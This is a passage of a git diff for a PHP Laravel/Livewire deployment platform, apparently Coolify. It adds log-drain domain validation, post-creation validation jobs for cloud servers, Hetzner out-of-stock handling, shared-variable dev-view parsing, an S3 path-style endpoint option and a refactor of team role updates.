ServerSetting::DEFAULT_AXIOM_DOMAIN; $this->logDrainAxiomApiKey = auth()->user()->can('update', $this->server) ? $this->server->settings->logdrain_axiom_api_key : null; @@ -146,9 +153,6 @@ class LogDrains extends Component $this->syncDataCustom($toModel); $this->syncDataCloudwatch($toModel); } - if ($this->enabledLogDrainCount() > 0) { - $this->server->settings->is_logdrain_highlight_enabled = false; - } $this->auditLogDrain('updated'); $this->server->settings->save(); } else { @@ -195,6 +199,7 @@ class LogDrains extends Component $this->validate([ 'logDrainAxiomDatasetName' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'], 'logDrainAxiomApiKey' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'], + 'logDrainAxiomDomain' => ['required', new ValidHostname], ]); } catch (\Throwable $e) { $this->isLogDrainAxiomEnabled = false; @@ -240,6 +245,8 @@ class LogDrains extends Component StopLogDrain::run($this->server); $this->dispatch('success', 'Log drain service stopped.'); } + } catch (ValidationException $e) { + return $this->handleValidationError($e); } catch (\Throwable $e) { return handleError($e, $this); } @@ -251,7 +258,6 @@ class LogDrains extends Component $previousAxiomEnabled = $this->server->settings->is_logdrain_axiom_enabled; $previousCustomEnabled = $this->server->settings->is_logdrain_custom_enabled; $previousCloudwatchEnabled = $this->server->settings->is_logdrain_cloudwatch_enabled; - $previousHighlightEnabled = $this->server->settings->is_logdrain_highlight_enabled; try { $this->authorize('update', $this->server); @@ -279,6 +285,9 @@ class LogDrains extends Component StopLogDrain::run($this->server); $this->dispatch('success', 'Log drain service stopped.'); } + } catch (ValidationException $e) { + // Validation runs before anything is saved, so keep the typed values and show the errors under the fields. + $this->handleValidationError($e); } catch (\Throwable $e) { // Restore the previously persisted enabled flags so the UI/DB never // claim a runtime state that the Start/StopLogDrain action failed to apply. @@ -286,7 +295,6 @@ class LogDrains extends Component $this->server->settings->is_logdrain_axiom_enabled = $previousAxiomEnabled; $this->server->settings->is_logdrain_custom_enabled = $previousCustomEnabled; $this->server->settings->is_logdrain_cloudwatch_enabled = $previousCloudwatchEnabled; - $this->server->settings->is_logdrain_highlight_enabled = $previousHighlightEnabled; $this->server->settings->save(); $this->syncData(); @@ -310,6 +318,13 @@ class LogDrains extends Component return view('livewire.server.log-drains'); } + private function handleValidationError(ValidationException $e): mixed + { + $this->setErrorBag($e->validator->errors()); + + return handleError($e, $this); + } + private function enabledLogDrainCount(): int { return count(array_filter([ @@ -351,6 +366,7 @@ class LogDrains extends Component 'axiom' => $this->validate([ 'logDrainAxiomDatasetName' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'], 'logDrainAxiomApiKey' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'], + 'logDrainAxiomDomain' => ['required', new ValidHostname], ]), 'custom' => $this->validate([ 'logDrainCustomConfig' => ['required', new ValidFluentBitConfig], diff --git a/app/Livewire/Server/New/ByDigitalOcean.php b/app/Livewire/Server/New/ByDigitalOcean.php index 95e07643ef..6c6f4a4fcd 100644 --- a/app/Livewire/Server/New/ByDigitalOcean.php +++ b/app/Livewire/Server/New/ByDigitalOcean.php @@ -3,6 +3,7 @@ namespace App\Livewire\Server\New; use App\Enums\ProxyTypes; +use App\Jobs\ValidateNewCloudServerJob; use App\Models\CloudInitScript; use App\Models\CloudProviderToken; use App\Models\PrivateKey; @@ -519,6 +520,8 @@ class ByDigitalOcean extends Component report($e); } + ValidateNewCloudServerJob::dispatch($server); + if ($this->from_onboarding) { currentTeam()->update([ 'show_boarding' => false, diff --git a/app/Livewire/Server/New/ByHetzner.php b/app/Livewire/Server/New/ByHetzner.php index 868b9e44b3..81ed3269ad 100644 --- a/app/Livewire/Server/New/ByHetzner.php +++ b/app/Livewire/Server/New/ByHetzner.php @@ -3,6 +3,8 @@ namespace App\Livewire\Server\New; use App\Enums\ProxyTypes; +use App\Exceptions\CloudProviderApiException; +use App\Jobs\ValidateNewCloudServerJob; use App\Models\CloudInitScript; use App\Models\CloudProviderToken; use App\Models\PrivateKey; @@ -12,7 +14,6 @@ use App\Rules\ValidCloudInitYaml; use App\Rules\ValidHostname; use App\Services\HetznerService; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; -use Illuminate\Http\Client\RequestException; use Illuminate\Support\Collection; use Illuminate\Support\Facades\Http; use Illuminate\Validation\ValidationException; @@ -323,7 +324,7 @@ class ByHetzner extends Component $hetznerService = new HetznerService($token); $this->locations = $hetznerService->getLocations(); - $this->serverTypes = $hetznerService->getServerTypes(); + $this->serverTypes = $hetznerService->getServerTypes(includeOutOfStock: true); // Get images and sort by name $images = $hetznerService->getImages(); @@ -358,22 +359,13 @@ class ByHetzner extends Component $this->loading_data = false; } catch (\Throwable $e) { $this->loading_data = false; - $this->provider_data_error = $this->providerDataErrorMessage('Hetzner', $e, 'error.message'); + $this->provider_data_error = $e instanceof CloudProviderApiException + ? $e->getMessage() + : 'Hetzner API error: '.$e->getMessage(); $this->dispatch('error', $this->provider_data_error); } } - private function providerDataErrorMessage(string $providerName, \Throwable $e, string $jsonMessageKey): string - { - $details = $e->getMessage(); - - if ($e instanceof RequestException && $e->response) { - $details = data_get($e->response->json(), $jsonMessageKey) ?: $e->response->body() ?: $details; - } - - return "{$providerName} API error: {$details}"; - } - private function getCpuVendorInfo(array $serverType): ?string { $name = strtolower($serverType['name'] ?? ''); @@ -394,7 +386,7 @@ class ByHetzner extends Component public function getAvailableServerTypesProperty() { if (! $this->selected_location) { - return $this->serverTypes; + return []; } $filtered = collect($this->serverTypes) @@ -409,15 +401,24 @@ class ByHetzner extends Component }) ->map(function ($serverType) { $serverType['cpu_vendor_info'] = $this->getCpuVendorInfo($serverType); + $serverType['out_of_stock'] = $this->isServerTypeOutOfStock($serverType); return $serverType; }) + ->sortBy('out_of_stock') ->values() ->toArray(); return $filtered; } + private function isServerTypeOutOfStock(array $serverType): bool + { + $typeLocation = collect($serverType['locations'] ?? [])->firstWhere('name', $this->selected_location); + + return ($typeLocation['available'] ?? true) === false; + } + public function getAvailableImagesProperty() { @@ -679,6 +680,13 @@ class ByHetzner extends Component { $this->validate(); + $selectedServerType = collect($this->serverTypes)->firstWhere('name', $this->selected_server_type); + if ($selectedServerType && $this->isServerTypeOutOfStock($selectedServerType)) { + $this->addError('selected_server_type', 'This server type is out of stock in the selected location. Select a different server type or location.'); + + return null; + } + if (! $this->enable_ipv4 && ! $this->enable_ipv6) { $this->addError('enable_ipv4', 'Enable at least one public IP protocol.'); $this->addError('enable_ipv6', 'Enable at least one public IP protocol.'); @@ -751,6 +759,8 @@ class ByHetzner extends Component } } + ValidateNewCloudServerJob::dispatch($server); + if ($this->from_onboarding) { // Complete the boarding when server is successfully created via Hetzner currentTeam()->update([ @@ -766,20 +776,31 @@ class ByHetzner extends Component if (! isset($e->errors()['server'])) { throw $e; } - if (isset($hetznerService, $hetznerServer['id'])) { - try { - $hetznerService->deleteServer((int) $hetznerServer['id']); - } catch (\Throwable $cleanupError) { - report($cleanupError); - } - } + $this->deleteUntrackedHetznerServer($hetznerService ?? null, $hetznerServer['id'] ?? null); return $this->dispatch('error', 'You have reached the server limit for your subscription.'); } catch (\Throwable $e) { + if (! isset($server)) { + $this->deleteUntrackedHetznerServer($hetznerService ?? null, $hetznerServer['id'] ?? null); + } + return handleError($e, $this); } } + private function deleteUntrackedHetznerServer(?HetznerService $hetznerService, ?int $hetznerServerId): void + { + if (! $hetznerService || ! $hetznerServerId) { + return; + } + + try { + $hetznerService->deleteServer($hetznerServerId); + } catch (\Throwable $e) { + report($e); + } + } + public function render() { return view('livewire.server.new.by-hetzner'); diff --git a/app/Livewire/Server/New/ByHostinger.php b/app/Livewire/Server/New/ByHostinger.php index c05fcf7d5d..f12db08511 100644 --- a/app/Livewire/Server/New/ByHostinger.php +++ b/app/Livewire/Server/New/ByHostinger.php @@ -3,6 +3,7 @@ namespace App\Livewire\Server\New; use App\Enums\ProxyTypes; +use App\Jobs\ValidateNewCloudServerJob; use App\Models\CloudProviderToken; use App\Models\PrivateKey; use App\Models\Server; @@ -377,6 +378,8 @@ class ByHostinger extends Component report($e); } + ValidateNewCloudServerJob::dispatch($server); + if ($this->from_onboarding) { currentTeam()->update(['show_boarding' => false]); refreshSession(); diff --git a/app/Livewire/Server/New/ByVultr.php b/app/Livewire/Server/New/ByVultr.php index f3024f29da..5e27585b44 100644 --- a/app/Livewire/Server/New/ByVultr.php +++ b/app/Livewire/Server/New/ByVultr.php @@ -3,6 +3,7 @@ namespace App\Livewire\Server\New; use App\Enums\ProxyTypes; +use App\Jobs\ValidateNewCloudServerJob; use App\Models\CloudInitScript; use App\Models\CloudProviderToken; use App\Models\PrivateKey; @@ -487,6 +488,8 @@ class ByVultr extends Component report($e); } + ValidateNewCloudServerJob::dispatch($server); + if ($this->from_onboarding) { currentTeam()->update([ 'show_boarding' => false, diff --git a/app/Livewire/Server/Show.php b/app/Livewire/Server/Show.php index 796ddcc82c..45b617fab1 100644 --- a/app/Livewire/Server/Show.php +++ b/app/Livewire/Server/Show.php @@ -86,14 +86,6 @@ class Show extends Component public ?string $hostingerVirtualMachineStatus = null; - public bool $hetznerServerManuallyStarted = false; - - public bool $vultrInstanceManuallyStarted = false; - - public bool $digitalOceanDropletManuallyStarted = false; - - public bool $hostingerVirtualMachineManuallyStarted = false; - public bool $isValidating = false; // Hetzner linking properties @@ -780,7 +772,6 @@ class Show extends Component $this->hetznerServerStatus = 'starting'; $this->server->update(['hetzner_server_status' => 'starting']); - $this->hetznerServerManuallyStarted = true; // Set flag to trigger auto-validation when running $this->dispatch('success', 'Hetzner server is starting...'); } catch (\Throwable $e) { return handleError($e, $this); @@ -803,7 +794,6 @@ class Show extends Component $this->vultrInstanceStatus = 'starting'; $this->server->update(['vultr_instance_status' => 'starting']); - $this->vultrInstanceManuallyStarted = true; $this->dispatch('success', 'Vultr instance is starting...'); } catch (\Throwable $e) { return handleError($e, $this); @@ -826,7 +816,6 @@ class Show extends Component $this->digitalOceanDropletStatus = 'new'; $this->server->update(['digitalocean_droplet_status' => 'new']); - $this->digitalOceanDropletManuallyStarted = true; $this->dispatch('success', 'DigitalOcean droplet is starting...'); } catch (\Throwable $e) { return handleError($e, $this); @@ -849,7 +838,6 @@ class Show extends Component $this->hostingerVirtualMachineStatus = 'starting'; $this->server->update(['hostinger_virtual_machine_status' => 'starting']); - $this->hostingerVirtualMachineManuallyStarted = true; $this->dispatch('success', 'Hostinger VPS is starting...'); return null; diff --git a/app/Livewire/Server/ValidateAndInstall.php b/app/Livewire/Server/ValidateAndInstall.php index 84b2ffaa32..748c53ba2d 100644 --- a/app/Livewire/Server/ValidateAndInstall.php +++ b/app/Livewire/Server/ValidateAndInstall.php @@ -116,6 +116,22 @@ class ValidateAndInstall extends Component try { $this->authorize('update', $this->server); Server::throttleValidation($this->server->team_id, $this->server->ip); + if ($this->server->hetzner_server_id) { + $status = $this->server->refreshHetznerState(); + $this->server->refresh(); + + if (in_array($status, ['initializing', 'starting', 'stopping', 'off', 'deleting', 'rebuilding', 'migrating'], true)) { + $this->error = $status === 'off' + ? 'Hetzner server is off. Power it on before validating.' + : "Hetzner server is {$status}. Wait until it is running, then validate."; + $this->server->update([ + 'validation_logs' => $this->error, + ]); + + return; + } + } + if ($this->server->vultr_instance_id) { $status = $this->server->refreshVultrState(); $this->server->refresh(); diff --git a/app/Livewire/SharedVariables/Environment/Show.php b/app/Livewire/SharedVariables/Environment/Show.php index 73c023f321..5e22376584 100644 --- a/app/Livewire/SharedVariables/Environment/Show.php +++ b/app/Livewire/SharedVariables/Environment/Show.php @@ -5,6 +5,7 @@ namespace App\Livewire\SharedVariables\Environment; use App\Livewire\Concerns\RemembersCanvasView; use App\Models\Application; use App\Models\Project; +use App\Models\SharedEnvironmentVariable; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Facades\DB; use Livewire\Component; @@ -83,26 +84,21 @@ class Show extends Component { $canViewValues = auth()->user()?->isAdminOfTeam($this->project->team_id) ?? false; - return $variables->map(function ($item) use ($canViewValues) { - if (! $canViewValues) { - return "$item->key=(Hidden, only admins can view)"; - } - if ($item->is_shown_once) { - return "$item->key=(Locked Secret, delete and add again to change)"; - } - if ($item->is_multiline) { - return "$item->key=(Multiline environment variable, edit in normal view)"; - } - - return "$item->key=$item->value"; - })->join("\n"); + return $variables->map(fn ($item) => formatEnvVariableForDevView($item, $canViewValues))->join("\n"); } public function submit() { + // Parse before the save, so that an invalid "# coolify:" line changes nothing and keeps the edited text. try { $this->authorize('update', $this->environment); - $this->handleBulkSubmit(); + $variables = parseEnvDevView($this->variables, SharedEnvironmentVariable::DEV_VIEW_FLAG_DEFAULTS); + } catch (\Throwable $e) { + return handleError($e, $this); + } + + try { + $this->handleBulkSubmit($variables); $this->getDevView(); } catch (\Throwable $e) { return handleError($e, $this); @@ -111,9 +107,8 @@ class Show extends Component } } - private function handleBulkSubmit() + private function handleBulkSubmit(array $variables) { - $variables = parseEnvFormatToArray($this->variables); $changesMade = false; DB::transaction(function () use ($variables, &$changesMade) { @@ -158,9 +153,12 @@ class Show extends Component $found = $this->environment->environment_variables()->where('key', $key)->first(); if ($found) { - if (! $found->is_shown_once && ! $found->is_multiline) { + if (! $found->is_shown_once && ! $found->is_multiline && formatEnvValueForDevView($found->value) !== null) { if ($found->value !== $value) { $found->value = $value; + } + $found->fill($data['settings']); + if ($found->isDirty()) { $found->save(); $count++; } @@ -171,6 +169,7 @@ class Show extends Component 'value' => $value, 'is_multiline' => false, 'is_literal' => false, + ...$data['settings'], 'type' => 'environment', 'team_id' => $this->project->team_id, ]); diff --git a/app/Livewire/SharedVariables/Project/Show.php b/app/Livewire/SharedVariables/Project/Show.php index 73590db941..b2973291ca 100644 --- a/app/Livewire/SharedVariables/Project/Show.php +++ b/app/Livewire/SharedVariables/Project/Show.php @@ -4,6 +4,7 @@ namespace App\Livewire\SharedVariables\Project; use App\Livewire\Concerns\RemembersCanvasView; use App\Models\Project; +use App\Models\SharedEnvironmentVariable; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Facades\DB; use Livewire\Component; @@ -81,26 +82,21 @@ class Show extends Component { $canViewValues = auth()->user()?->isAdminOfTeam($this->project->team_id) ?? false; - return $variables->map(function ($item) use ($canViewValues) { - if (! $canViewValues) { - return "$item->key=(Hidden, only admins can view)"; - } - if ($item->is_shown_once) { - return "$item->key=(Locked Secret, delete and add again to change)"; - } - if ($item->is_multiline) { - return "$item->key=(Multiline environment variable, edit in normal view)"; - } - - return "$item->key=$item->value"; - })->join("\n"); + return $variables->map(fn ($item) => formatEnvVariableForDevView($item, $canViewValues))->join("\n"); } public function submit() { + // Parse before the save, so that an invalid "# coolify:" line changes nothing and keeps the edited text. try { $this->authorize('update', $this->project); - $this->handleBulkSubmit(); + $variables = parseEnvDevView($this->variables, SharedEnvironmentVariable::DEV_VIEW_FLAG_DEFAULTS); + } catch (\Throwable $e) { + return handleError($e, $this); + } + + try { + $this->handleBulkSubmit($variables); $this->getDevView(); } catch (\Throwable $e) { return handleError($e, $this); @@ -109,10 +105,8 @@ class Show extends Component } } - private function handleBulkSubmit() + private function handleBulkSubmit(array $variables) { - $variables = parseEnvFormatToArray($this->variables); - $changesMade = DB::transaction(function () use ($variables) { // Delete removed variables $deletedCount = $this->deleteRemovedVariables($variables); @@ -150,9 +144,12 @@ class Show extends Component $found = $this->project->environment_variables()->where('key', $key)->first(); if ($found) { - if (! $found->is_shown_once && ! $found->is_multiline) { + if (! $found->is_shown_once && ! $found->is_multiline && formatEnvValueForDevView($found->value) !== null) { if ($found->value !== $value) { $found->value = $value; + } + $found->fill($data['settings']); + if ($found->isDirty()) { $found->save(); $count++; } @@ -163,6 +160,7 @@ class Show extends Component 'value' => $value, 'is_multiline' => false, 'is_literal' => false, + ...$data['settings'], 'type' => 'project', 'team_id' => $this->project->team_id, ]); diff --git a/app/Livewire/SharedVariables/Server/Show.php b/app/Livewire/SharedVariables/Server/Show.php index e775c50257..3c4d747e29 100644 --- a/app/Livewire/SharedVariables/Server/Show.php +++ b/app/Livewire/SharedVariables/Server/Show.php @@ -4,6 +4,7 @@ namespace App\Livewire\SharedVariables\Server; use App\Livewire\Concerns\RemembersCanvasView; use App\Models\Server; +use App\Models\SharedEnvironmentVariable; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Facades\DB; use Livewire\Component; @@ -82,26 +83,21 @@ class Show extends Component { $canViewValues = auth()->user()?->isAdminOfTeam($this->server->team_id) ?? false; - return $variables->map(function ($item) use ($canViewValues) { - if (! $canViewValues) { - return "$item->key=(Hidden, only admins can view)"; - } - if ($item->is_shown_once) { - return "$item->key=(Locked Secret, delete and add again to change)"; - } - if ($item->is_multiline) { - return "$item->key=(Multiline environment variable, edit in normal view)"; - } - - return "$item->key=$item->value"; - })->join("\n"); + return $variables->map(fn ($item) => formatEnvVariableForDevView($item, $canViewValues))->join("\n"); } public function submit() { + // Parse before the save, so that an invalid "# coolify:" line changes nothing and keeps the edited text. try { $this->authorize('update', $this->server); - $this->handleBulkSubmit(); + $variables = parseEnvDevView($this->variables, SharedEnvironmentVariable::DEV_VIEW_FLAG_DEFAULTS); + } catch (\Throwable $e) { + return handleError($e, $this); + } + + try { + $this->handleBulkSubmit($variables); $this->getDevView(); } catch (\Throwable $e) { return handleError($e, $this); @@ -110,10 +106,8 @@ class Show extends Component } } - private function handleBulkSubmit() + private function handleBulkSubmit(array $variables) { - $variables = parseEnvFormatToArray($this->variables); - $changesMade = DB::transaction(function () use ($variables) { // Delete removed variables $deletedCount = $this->deleteRemovedVariables($variables); @@ -162,10 +156,13 @@ class Show extends Component $found = $this->server->environment_variables()->where('key', $key)->first(); if ($found) { - if (! $found->is_shown_once && ! $found->is_multiline) { - if ($found->value !== $value || $found->comment !== $comment) { + if (! $found->is_shown_once && ! $found->is_multiline && formatEnvValueForDevView($found->value) !== null) { + if ($found->value !== $value) { $found->value = $value; - $found->comment = $comment; + } + $found->comment = $comment; + $found->fill($data['settings']); + if ($found->isDirty()) { $found->save(); $count++; } @@ -177,6 +174,7 @@ class Show extends Component 'comment' => $comment, 'is_multiline' => false, 'is_literal' => false, + ...$data['settings'], 'type' => 'server', 'team_id' => $this->server->team_id, ]); diff --git a/app/Livewire/SharedVariables/Team/Index.php b/app/Livewire/SharedVariables/Team/Index.php index 034e71c223..682cbeee18 100644 --- a/app/Livewire/SharedVariables/Team/Index.php +++ b/app/Livewire/SharedVariables/Team/Index.php @@ -3,6 +3,7 @@ namespace App\Livewire\SharedVariables\Team; use App\Livewire\Concerns\RemembersCanvasView; +use App\Models\SharedEnvironmentVariable; use App\Models\Team; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Facades\DB; @@ -75,26 +76,21 @@ class Index extends Component { $canViewValues = auth()->user()?->isAdminOfTeam($this->team->id) ?? false; - return $variables->map(function ($item) use ($canViewValues) { - if (! $canViewValues) { - return "$item->key=(Hidden, only admins can view)"; - } - if ($item->is_shown_once) { - return "$item->key=(Locked Secret, delete and add again to change)"; - } - if ($item->is_multiline) { - return "$item->key=(Multiline environment variable, edit in normal view)"; - } - - return "$item->key=$item->value"; - })->join("\n"); + return $variables->map(fn ($item) => formatEnvVariableForDevView($item, $canViewValues))->join("\n"); } public function submit() { + // Parse before the save, so that an invalid "# coolify:" line changes nothing and keeps the edited text. try { $this->authorize('update', $this->team); - $this->handleBulkSubmit(); + $variables = parseEnvDevView($this->variables, SharedEnvironmentVariable::DEV_VIEW_FLAG_DEFAULTS); + } catch (\Throwable $e) { + return handleError($e, $this); + } + + try { + $this->handleBulkSubmit($variables); $this->getDevView(); } catch (\Throwable $e) { return handleError($e, $this); @@ -103,9 +99,8 @@ class Index extends Component } } - private function handleBulkSubmit() + private function handleBulkSubmit(array $variables) { - $variables = parseEnvFormatToArray($this->variables); $changesMade = false; DB::transaction(function () use ($variables, &$changesMade) { @@ -149,9 +144,12 @@ class Index extends Component $found = $this->team->environment_variables()->where('key', $key)->first(); if ($found) { - if (! $found->is_shown_once && ! $found->is_multiline) { + if (! $found->is_shown_once && ! $found->is_multiline && formatEnvValueForDevView($found->value) !== null) { if ($found->value !== $value) { $found->value = $value; + } + $found->fill($data['settings']); + if ($found->isDirty()) { $found->save(); $count++; } @@ -162,6 +160,7 @@ class Index extends Component 'value' => $value, 'is_multiline' => false, 'is_literal' => false, + ...$data['settings'], 'type' => 'team', 'team_id' => $this->team->id, ]); diff --git a/app/Livewire/Source/Gitea/Change.php b/app/Livewire/Source/Gitea/Change.php index 5980ed3fbf..6db104020e 100644 --- a/app/Livewire/Source/Gitea/Change.php +++ b/app/Livewire/Source/Gitea/Change.php @@ -282,6 +282,7 @@ class Change extends Component $this->syncData(true); $this->gitea_app->save(); $this->dispatch('success', 'Gitea App updated.'); + $this->dispatch('name-changed', uuid: $this->gitea_app->uuid, name: $this->gitea_app->name); } catch (\Throwable $e) { return handleError($e, $this); } diff --git a/app/Livewire/Source/Github/Change.php b/app/Livewire/Source/Github/Change.php index 5ec577f2e4..60d65804e2 100644 --- a/app/Livewire/Source/Github/Change.php +++ b/app/Livewire/Source/Github/Change.php @@ -431,6 +431,7 @@ class Change extends Component $this->syncData(true); $this->github_app->save(); $this->isConnected = $this->github_app->isConnected(); + $this->dispatch('name-changed', uuid: $this->github_app->uuid, name: $this->github_app->name); $this->dispatch('success', 'Github App updated.'); } catch (ValidationException $e) { throw $e; diff --git a/app/Livewire/Source/Gitlab/Change.php b/app/Livewire/Source/Gitlab/Change.php index a7ff5b47e8..d599c40257 100644 --- a/app/Livewire/Source/Gitlab/Change.php +++ b/app/Livewire/Source/Gitlab/Change.php @@ -282,6 +282,7 @@ class Change extends Component $this->syncData(true); $this->gitlab_app->save(); $this->dispatch('success', 'GitLab App updated.'); + $this->dispatch('name-changed', uuid: $this->gitlab_app->uuid, name: $this->gitlab_app->name); } catch (\Throwable $e) { return handleError($e, $this); } diff --git a/app/Livewire/Storage/Create.php b/app/Livewire/Storage/Create.php index 9e22e5491e..10dfb17678 100644 --- a/app/Livewire/Storage/Create.php +++ b/app/Livewire/Storage/Create.php @@ -29,6 +29,10 @@ class Create extends Component public string $endpoint = ''; + public bool $usePathStyleEndpoint = true; + + public bool $usePathStyleEndpointChanged = false; + public array $endpointParts = ['scheme' => 'https', 'host' => '', 'port' => '', 'path' => '']; public bool $endpointPartsChanged = false; @@ -45,6 +49,7 @@ class Create extends Component 'secret' => 'required|max:255', 'bucket' => ['required', new ValidS3BucketName], 'endpoint' => ['required', 'max:255', new SafeWebhookUrl], + 'usePathStyleEndpoint' => 'boolean', ]; } @@ -74,6 +79,7 @@ class Create extends Component 'secret' => 'Secret', 'bucket' => 'Bucket', 'endpoint' => 'Endpoint', + 'usePathStyleEndpoint' => 'Use path-style URLs', ]; public function submit() @@ -93,6 +99,7 @@ class Create extends Component $this->storage->key = $this->key; $this->storage->secret = $this->secret; $this->storage->bucket = $this->bucket; + $this->storage->use_path_style_endpoint = $this->usePathStyleEndpoint; if (empty($this->endpoint)) { $this->storage->endpoint = "https://s3.{$this->region}.amazonaws.com"; } else { @@ -112,6 +119,14 @@ class Create extends Component public function updatedEndpointParts(): void { $this->endpointPartsChanged = true; + if (! $this->usePathStyleEndpointChanged) { + $this->usePathStyleEndpoint = S3Storage::detectPathStyleEndpoint(DomainUrlParts::compose(...$this->endpointParts)); + } + } + + public function updatedUsePathStyleEndpoint(): void + { + $this->usePathStyleEndpointChanged = true; } private function connectionErrorDescription(\Throwable $exception): string diff --git a/app/Livewire/Storage/Form.php b/app/Livewire/Storage/Form.php index 6cd161306e..4f5b01b576 100644 --- a/app/Livewire/Storage/Form.php +++ b/app/Livewire/Storage/Form.php @@ -33,6 +33,10 @@ class Form extends Component public string $region; + public bool $usePathStyleEndpoint = true; + + public bool $usePathStyleEndpointChanged = false; + public string $key; public string $secret; @@ -52,6 +56,7 @@ class Form extends Component 'secret' => 'required|max:255', 'bucket' => ['required', new ValidS3BucketName], 'endpoint' => ['required', 'max:255', new SafeWebhookUrl], + 'usePathStyleEndpoint' => 'boolean', ]; } @@ -82,6 +87,7 @@ class Form extends Component 'secret' => 'Secret', 'bucket' => 'Bucket', 'endpoint' => 'Endpoint', + 'usePathStyleEndpoint' => 'Use path-style URLs', ]; /** @@ -98,6 +104,7 @@ class Form extends Component $this->storage->endpoint = $this->endpoint; $this->storage->bucket = $this->bucket; $this->storage->region = $this->region; + $this->storage->use_path_style_endpoint = $this->usePathStyleEndpoint; $this->storage->key = $this->key; $this->storage->secret = $this->secret; $this->storage->is_usable = $this->isUsable; @@ -110,6 +117,9 @@ class Form extends Component $this->endpointPartsChanged = false; $this->bucket = $this->storage->bucket; $this->region = $this->storage->region; + $this->usePathStyleEndpoint = $this->storage->usesPathStyleEndpoint(); + // A saved style that detection would not pick is a user choice, so keep it when the endpoint changes. + $this->usePathStyleEndpointChanged = $this->usePathStyleEndpoint !== S3Storage::detectPathStyleEndpoint($this->endpoint); $canSeeCredentials = auth()->user()?->can('update', $this->storage) ?? false; $this->key = $canSeeCredentials ? $this->storage->key : ''; $this->secret = $canSeeCredentials ? $this->storage->secret : ''; @@ -142,10 +152,13 @@ class Form extends Component $testedStorage->endpoint = $this->endpoint; $testedStorage->bucket = $this->bucket; $testedStorage->region = $this->region; + $testedStorage->use_path_style_endpoint = $this->usePathStyleEndpoint; $testedStorage->key = $this->key; $testedStorage->secret = $this->secret; $testedStorage->testConnection(); + $switchedToVirtualHostedStyle = $this->usePathStyleEndpoint && ! $testedStorage->usesPathStyleEndpoint(); + $this->usePathStyleEndpoint = $testedStorage->usesPathStyleEndpoint(); // Update component property to reflect the new validation status $this->isUsable = $testedStorage->is_usable; @@ -154,7 +167,9 @@ class Form extends Component $this->storage->save(); $this->dispatch('storage-status-changed', isUsable: $this->isUsable); - return $this->dispatch('success', 'Connection is working.', 'Tested with "ListObjectsV2" action.'); + return $this->dispatch('success', 'Connection is working.', $switchedToVirtualHostedStyle + ? 'The provider rejects path-style URLs, so "Use path-style URLs" is now off. Save to keep it.' + : 'Tested with "ListObjectsV2" action.'); } catch (\Throwable $e) { if ($testedStorage) { $this->isUsable = $testedStorage->is_usable; @@ -192,9 +207,11 @@ class Form extends Component $this->storage->unusable_email_sent = false; $this->storage->save(); - // Update local property to reflect success + // Update local properties to reflect success $this->isUsable = true; + $this->usePathStyleEndpoint = $this->storage->usesPathStyleEndpoint(); }); + $this->dispatch('name-changed', uuid: $this->storage->uuid, name: $this->storage->name); $this->dispatch('success', 'Storage settings updated and connection verified.'); } catch (\Throwable $e) { @@ -209,5 +226,13 @@ class Form extends Component public function updatedEndpointParts(): void { $this->endpointPartsChanged = true; + if (! $this->usePathStyleEndpointChanged) { + $this->usePathStyleEndpoint = S3Storage::detectPathStyleEndpoint(DomainUrlParts::compose(...$this->endpointParts)); + } + } + + public function updatedUsePathStyleEndpoint(): void + { + $this->usePathStyleEndpointChanged = true; } } diff --git a/app/Livewire/SwitchTeam.php b/app/Livewire/SwitchTeam.php index 11d7141537..8e41db6f5c 100644 --- a/app/Livewire/SwitchTeam.php +++ b/app/Livewire/SwitchTeam.php @@ -9,7 +9,10 @@ class SwitchTeam extends Component { public string $selectedTeamId = 'default'; - protected $listeners = ['team-avatar-updated' => '$refresh']; + protected $listeners = [ + 'team-avatar-updated' => '$refresh', + 'team-updated' => '$refresh', + ]; public function mount() { diff --git a/app/Livewire/Team/Index.php b/app/Livewire/Team/Index.php index 62c03d57ed..e5b0e3e6fe 100644 --- a/app/Livewire/Team/Index.php +++ b/app/Livewire/Team/Index.php @@ -147,6 +147,7 @@ class Index extends Component $this->syncData(true); $this->team->save(); refreshSession(); + $this->dispatch('team-updated'); $this->dispatch('success', 'Team updated.'); } catch (\Throwable $e) { return handleError($e, $this); diff --git a/app/Livewire/Team/Member.php b/app/Livewire/Team/Member.php index 45b0affdd3..eca84e2e1a 100644 --- a/app/Livewire/Team/Member.php +++ b/app/Livewire/Team/Member.php @@ -25,12 +25,7 @@ class Member extends Component || Role::from($this->getMemberRole())->gt(auth()->user()->role())) { throw new \Exception('You are not authorized to perform this action.'); } - $teamId = currentTeam()->id; - DB::transaction(function () use ($teamId): void { - $this->member->teams()->updateExistingPivot($teamId, ['role' => Role::ADMIN->value]); - RevokeUserTeamTokens::forUserTeam($this->member, $teamId); - }); - $this->auditRoleUpdate($teamId, Role::ADMIN); + $this->updateRole(Role::ADMIN); $this->dispatch('reloadWindow'); } catch (\Exception $e) { $this->dispatch('error', $e->getMessage()); @@ -46,12 +41,7 @@ class Member extends Component || Role::from($this->getMemberRole())->gt(auth()->user()->role())) { throw new \Exception('You are not authorized to perform this action.'); } - $teamId = currentTeam()->id; - DB::transaction(function () use ($teamId): void { - $this->member->teams()->updateExistingPivot($teamId, ['role' => Role::OWNER->value]); - RevokeUserTeamTokens::forUserTeam($this->member, $teamId); - }); - $this->auditRoleUpdate($teamId, Role::OWNER); + $this->updateRole(Role::OWNER); $this->dispatch('reloadWindow'); } catch (\Exception $e) { $this->dispatch('error', $e->getMessage()); @@ -67,12 +57,7 @@ class Member extends Component || Role::from($this->getMemberRole())->gt(auth()->user()->role())) { throw new \Exception('You are not authorized to perform this action.'); } - $teamId = currentTeam()->id; - DB::transaction(function () use ($teamId): void { - $this->member->teams()->updateExistingPivot($teamId, ['role' => Role::MEMBER->value, 'access' => null]); - RevokeUserTeamTokens::forUserTeam($this->member, $teamId); - }); - $this->auditRoleUpdate($teamId, Role::MEMBER); + $this->updateRole(Role::MEMBER); $this->dispatch('reloadWindow'); } catch (\Exception $e) { $this->dispatch('error', $e->getMessage()); @@ -114,8 +99,20 @@ class Member extends Component return 